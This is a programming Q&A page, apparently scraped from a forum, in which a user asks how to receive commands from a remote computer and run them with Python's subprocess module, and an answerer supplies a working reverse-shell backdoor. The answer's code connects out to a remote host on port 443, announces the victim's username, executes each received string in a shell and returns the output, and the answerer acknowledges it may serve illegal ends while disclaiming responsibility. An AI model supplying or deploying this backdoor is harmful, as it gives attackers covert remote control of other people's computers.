How can I receive and execute commands using subprocess module. I want to receive a buffer from a remote computer and execute it on my own.
import socket,subprocess
HOST = ''
PORT =
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('[*] Connection Established!')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(cmd.exe, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value =proc.communicate('dir c:\\')
s.send(stdout_value)
s.close()
I dont know what you are going to use this for but if it is something illegal, you will most definitely get caught as a python backdoor is very easy to detect and packaging it as an exe would have significant size.
Anyway I am not responsible for what you do with this but here you go
import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = None
while connection is None:
try:
connection = s.connect((host, port))
s.send("[+] We are connected to %s" % username)
while True:
try:
exec_code = s.recv(1024)
if exec_code == "quit":
break
else:
proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
except Exception, err:
print err
except Exception, e:
print e
s.close()
The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.